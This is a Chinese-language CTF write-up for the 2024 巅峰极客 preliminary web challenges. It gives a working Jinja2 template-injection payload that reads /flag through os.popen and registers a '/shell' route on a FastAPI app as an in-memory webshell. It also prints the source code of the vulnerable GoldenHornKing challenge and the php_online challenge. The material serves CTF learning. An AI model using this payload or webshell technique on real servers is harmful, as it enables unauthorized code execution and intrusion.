2024 巅峰极客初赛 web

感谢A1natas的小伙伴这次我们A1natas 获得了第19名决赛见

EncirclingGame

签到直接玩游戏就行队友玩了会就穿了

GoldenHornKing

贴一下payload

1	lipsum.__globals__['__builtins__']['eval']("app.add_api_route('/shell',lambda:result ,methods=['GET'])",{'app':app,'result':lipsum.__globals__.get("os").popen("cat /flag").read()})

源代码如下

import os

import jinja2
import functools
import uvicorn
from fastapi import FastAPI
from fastapi.templating import Jinja2Templates
from anyio import fail_after, sleep


# jinja2==3.1.2
# uvicorn==0.30.5
# fastapi==0.112.0

def timeout_after(timeout: int = 1):
    def decorator(func):
        @functools.wraps(func)
        async def wrapper(*args, **kwargs):
            with fail_after(timeout):
                return await func(*args, **kwargs)
        
        return wrapper
    
    return decorator


app = FastAPI()
access = False

_base_path = os.path.dirname(os.path.abspath(__file__))
t = Jinja2Templates(directory=_base_path)


@app.get("/")
@timeout_after(1)
async def index():
    return open(__file__, 'r').read()


@app.get("/calc")
@timeout_after(1)
async def ssti(calc_req: str):
    global access
    if (any(char.isdigit() for char in calc_req)) or ("%" in calc_req) or not calc_req.isascii() or access:
        return "bad char"
    else:
        jinja2.Environment(loader=jinja2.BaseLoader()).from_string(f"{{{{ {calc_req} }}}}").render({"app": app})
        access = True
    return "fight"


if __name__ == "__main__":
    uvicorn.run(app, host="0.0.0.0", port=8000)

赛后分析

ssti这里存在过滤

整个`if`语句的作用是检查`calc_req`中是否包含以下任意一项：
- 一个数字 - 字符`"%"` - 非ASCII字符
1
2
3
4
5

检查结束之后就执行如下操作

```python
jinja2.Environment(loader=jinja2.BaseLoader()).from_string(f"{{{{ {calc_req} }}}}").render({"app": app})

创建了一个Jinja2的环境对象，然后这里调用Jinja2模板对象处理字符串模板

ssti直接注入是没啥问题的

环境不出王这里利用的fastapi 使得这里的路由产生了变化

原先在flask里面的路由是用 add_url_rule添加路由，现在得用add_api_route添加路由

值得注意的是每次执行命令成功都要重启一次靶机（）

所以只有一次机会写入内存马也行

php_online

这题折磨了我好久欸

给了源代码

from flask import Flask, request, session, redirect, url_for, render_template
import os
import secrets


app = Flask(__name__)
app.secret_key = secrets.token_hex(16)
working_id = []


@app.route('/', methods=['GET', 'POST'])
def index():
    if request.method == 'POST':
        id = request.form['id']
        if not id.isalnum() or len(id) != 8:
            return '无效的ID'
        session['id'] = id
        if not os.path.exists(f'/sandbox/{id}'):
            os.popen(f'mkdir /sandbox/{id} && chown www-data /sandbox/{id} && chmod a+w /sandbox/{id}').read()
        return redirect(url_for('sandbox'))
    return render_template('submit_id.html')


@app.route('/sandbox', methods=['GET', 'POST'])
def sandbox():
    if request.method == 'GET':
        if 'id' not in session:
            return redirect(url_for('index'))
        else:
            return render_template('submit_code.html')
    if request.method == 'POST':
        if 'id' not in session:
            return 'no id'
        user_id = session['id']
        if user_id in working_id:
            return 'task is still running'
        else:
            working_id.append(user_id)
            code = request.form.get('code')
            os.popen(f'cd /sandbox/{user_id} && rm *').read()
            os.popen(f'sudo -u www-data cp /app/init.py /sandbox/{user_id}/init.py && cd /sandbox/{user_id} && sudo -u www-data python3 init.py').read()
            os.popen(f'rm -rf /sandbox/{user_id}/phpcode').read()
            
            php_file = open(f'/sandbox/{user_id}/phpcode', 'w')
            php_file.write(code)
            php_file.close()

            result = os.popen(f'cd /sandbox/{user_id} && sudo -u nobody php phpcode').read()
            os.popen(f'cd /sandbox/{user_id} && rm *').read()
            working_id.remove(user_id)

            return result


if __name__ == '__main__':
    app.run(debug=False, host='0.0.0.0', port=80)